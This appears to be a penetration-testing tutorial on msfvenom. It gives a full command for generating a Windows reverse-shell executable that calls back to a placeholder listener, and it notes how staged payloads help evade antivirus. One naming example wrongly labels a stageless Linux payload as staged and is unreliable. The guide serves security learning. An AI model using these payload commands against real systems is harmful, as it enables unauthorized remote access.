msfvenom

Msfvenom is an integral part of the Metasploit framework, serving as a powerful tool for generating payloads, particularly for reverse and bind shells. It is widely utilized in lower-level exploit development, especially for creating hexadecimal shellcode in scenarios like Buffer Overflow exploits. Beyond that, msfvenom can generate payloads in various formats, including .exe, .aspx, .war, and .py. This guide provides a brief overview of msfvenom's capabilities and syntax, focusing on its application in penetration testing.

Basic Syntax

The standard syntax for using msfvenom is:

msfvenom -p <PAYLOAD> <OPTIONS>

Example Command

To generate a Windows x64 Reverse Shell in an executable format, you would use the following command:

msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port>

Breakdown of Options

• -p : Specifies the payload to be used.

• -f : Defines the output format (e.g., exe for executable files).

• -o : Indicates the output location and filename for the generated payload.

• LHOST=: Sets the IP address to connect back to (typically your tun0 IP when using TryHackMe).

• LPORT=: Specifies the local port for the connection (any port between 0 and 65535, with ports below 1024 requiring root privileges).

Staged vs. Stageless Payloads

Staged Payloads

Staged payloads are transmitted in two parts. The first part, known as the stager, is executed on the target server and connects back to a listener. The stager does not contain the reverse shell code; instead, it retrieves the actual payload from the listener. This method helps evade traditional antivirus solutions by keeping the payload off the disk.

• Listener Requirement: Staged payloads require a special listener, typically the Metasploit multi/handler.

Stageless Payloads

Stageless payloads are self-contained and execute immediately upon being run. They are easier to use but can be more easily detected by antivirus and intrusion detection systems due to their larger size.

Meterpreter Shells

Meterpreter is Metasploit's advanced shell, offering a stable and feature-rich environment for post-exploitation tasks. It supports functionalities like file uploads and downloads, making it essential for effective exploitation. However, Meterpreter shells must be managed within Metasploit.

Payload Naming Conventions

Understanding the naming conventions for payloads is crucial when working with msfvenom. The basic format is:

<OS>/<arch>/<payload>

Examples

• Linux 32-bit Stageless: linux/x86/shell_reverse_tcp

• Windows 32-bit Stageless: windows/shell_reverse_tcp

• Windows 64-bit Staged: windows/x64/meterpreter/reverse_tcp

• Linux 32-bit Staged: linux/x86/meterpreter_reverse_tcp

Listing Available Payloads

To view all available payloads, use the command:

msfvenom --list payloads

This command can be piped into grep to filter for specific payloads, making it easier to find what you need.

msfvenom --list payloads | grep "windows/x64/meterpreter/reverse_tcp"